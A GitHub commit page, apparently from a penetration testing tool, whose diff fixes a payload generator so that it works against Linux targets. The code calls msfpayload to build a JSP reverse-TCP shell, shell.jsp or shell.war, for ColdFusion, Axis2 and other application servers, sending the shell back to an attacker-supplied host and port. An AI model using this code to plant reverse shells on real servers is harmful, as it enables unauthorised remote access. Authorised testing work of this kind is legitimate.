Skip to content

Commit

Permalink
Patched --gen-payload to support Linux
Browse files Browse the repository at this point in the history
* src/module/generate_payload.py
  -- Previously we weren't correcting the SHELL option,
  which breaks the payload on Linux systems
  • Loading branch information
hatRiot committed May 8, 2014
1 parent 483ea10 commit ae2bf55
Showing 1 changed file with 9 additions and 2 deletions.
11 changes: 9 additions & 2 deletions src/module/generate_payload.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,10 +14,14 @@ def run(options):
"""

PAYLOAD = "java/jsp_shell_reverse_tcp"
SHELL = "cmd.exe"

if not options.remote_service:
utility.Msg("Please specify a remote service (-a)", LOG.ERROR)
return
elif not options.remote_os:
utility.Msg("Please specify a remote OS (-o)", LOG.ERROR)
return
elif options.remote_service in ["coldfusion"]:
out = "R > shell.jsp"
elif options.remote_service in ["axis2"]:
Expand All @@ -26,15 +30,18 @@ def run(options):
else:
out = "W > shell.war"

if options.remote_os != "windows":
SHELL = "/bin/bash"

if getoutput("which msfpayload") == "":
utility.Msg("This option requires msfpayload", LOG.ERROR)
return

utility.Msg("Generating payload....")
(lhost, lport) = options.generate_payload.split(":")

resp = getoutput("msfpayload %s LHOST=%s LPORT=%s %s" %
(PAYLOAD, lhost, lport, out))
resp = getoutput("msfpayload %s LHOST=%s LPORT=%s SHELL=%s %s" %
(PAYLOAD, lhost, lport, SHELL, out))

'''For axis2 payloads, we have to add a few things to the msfpayload output'''
if(options.remote_service in ["axis2"]):
Expand Down

0 comments on commit ae2bf55

Please sign in to comment.